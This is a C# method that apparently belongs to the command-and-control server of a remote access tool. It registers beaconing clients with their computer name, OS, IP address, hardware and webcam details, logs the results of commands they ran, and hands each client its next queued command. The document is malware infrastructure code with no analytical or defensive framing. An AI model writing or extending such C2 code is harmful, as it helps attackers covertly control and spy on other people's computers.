private string ProcessText(string text) { var queryParameters = HttpUtility.ParseQueryString(text); if (queryParameters.HasKeys()) { string id = queryParameters["id"]; switch (queryParameters["mode"]) { case "info": { if (!Global.ClientExists(id)) { ClientInfo clientInfo = new ClientInfo(); clientInfo.id = id; clientInfo.compName = queryParameters["compName"]; clientInfo.operatingSystem = queryParameters["os"]; clientInfo.ipAddress = queryParameters["ip"]; clientInfo.ramMemory = queryParameters["memory"]; clientInfo.processor = queryParameters["processor"]; clientInfo.webcam = queryParameters["webcam"]; clientInfo.interval = queryParameters["interval"]; clientInfo.lastUpdate = DateTime.Now.ToString(); Global.ClientList.Add(clientInfo); if (!Global.lastCommand.ContainsKey(id)) Global.lastCommand.Add(id, ""); if (!Global.lastCommandText.ContainsKey(id)) Global.lastCommandText.Add(id, ""); if (!Global.idCommands.ContainsKey(id)) Global.idCommands.Add(id, new List<string>()); main.AddClient(clientInfo); } else { ClientInfo clientInfo = Global.GetClientById(id); clientInfo.interval = queryParameters["interval"]; clientInfo.lastUpdate = DateTime.Now.ToString(); main.UpdateClient(clientInfo); } } break; case "result": { string result = HttpUtility.UrlDecode(queryParameters["result"]); lock (Global.lastCommand) Global.lastCommand[id] = ""; lock (Global.lastCommandText) Global.lastCommandText[id] = result; if (result.Length >= 80) main.LogLine(result.Substring(0, 80)); } break; } return Global.GetCommandFromList(id); } return null; }